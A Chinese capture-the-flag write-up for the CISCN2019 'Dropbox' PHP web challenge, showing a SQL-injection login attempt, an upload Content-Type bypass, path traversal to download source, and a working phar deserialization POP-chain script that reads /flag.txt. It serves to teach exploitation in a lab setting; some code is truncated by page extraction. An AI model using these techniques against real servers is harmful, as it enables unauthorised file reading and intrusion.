[CISCN2019 华北赛区 Day1 Web1]Dropbox

目录

前言:

考点:

前置知识:

使用的前提条件:

解题:

参考文章:


前言:

 。。。

考点:

代码审计

Phar反序列化

前置知识:

引入一个 Y4师傅的文章,这里我就不班门弄斧:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

要简单了解的是phar的四个部分:

1,stub

phar 文件的表示,以 xxxxxx 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。

2,a mainfest describing the contents

该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。

3,the file contents

这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。

4. a signature for verifying Phar integrity

数字前面 ,在最末尾。

使用的前提条件:

1. phar 文件可以上传至服务器。

2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板

3.文件流参数可控,且phar://协议可用  /  phar 等特殊字符没有被过滤


解题:

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片

 看到登录框,先 用万能密码 1' or 1=1#  试了一下 没有反应。就注册一个账号登进去。

进入以后我们发现左上角有一个上传文件的功能,然后我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片

就算你上传 1.php 文件,他也会自动改成png 格式。

上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。

抓包看 ,确实如此

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第3张图片

 filename 是可控的,我们试着 下载 flag.txt 发现是不行的,无奈之下只能下载一些 所有功能的源代码。  不过要注意的是 , 文件都放在 上上级目录了,所以我们 下载文件 需要加上 ../ ../

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第4张图片

 主要看 class.php 文件,因为有file_get_contents函数,可以让我们读取flag。

db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>

这个利用点 file_get_contents 没有对 关键字进行过滤,所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢? 

首先是定义的 close 函数,我们跳转到哪里调用了这个close()

跟进代码,看到是User类 的__destrust() 调用了 close()

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第5张图片

 所以我们简单的逻辑  就是:  User-> __destruct() =>File -> close() -> 读取flag。

但是  试了一下,并没有回显,此时,我在前提条件说过,第二条要有可用魔术方法作为跳板,class.php 有一个 __call() 方法可以使用,恐怕想不利用他们都不行了。。。

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第6张图片

如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results

$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。

返回读取结果:

  • __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

pop链:

db=new FileList(); 
	}
}

class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());  
		$this->results=array();
		$this->funcs=array();
	}
}

class File {
	public $filename="/flag.txt";
}

$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
$phar->stopBuffering();

注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件

生成phar文件:

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第7张图片

 改后缀上传:

 抓取delete.php的数据包,修改post提交的数据:

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第8张图片

得到flag。

参考文章:

[CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)

[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_Red snow的博客-CSDN博客

(1条消息) [CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

你可能感兴趣的:(BUUCTF,php,开发语言)

' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除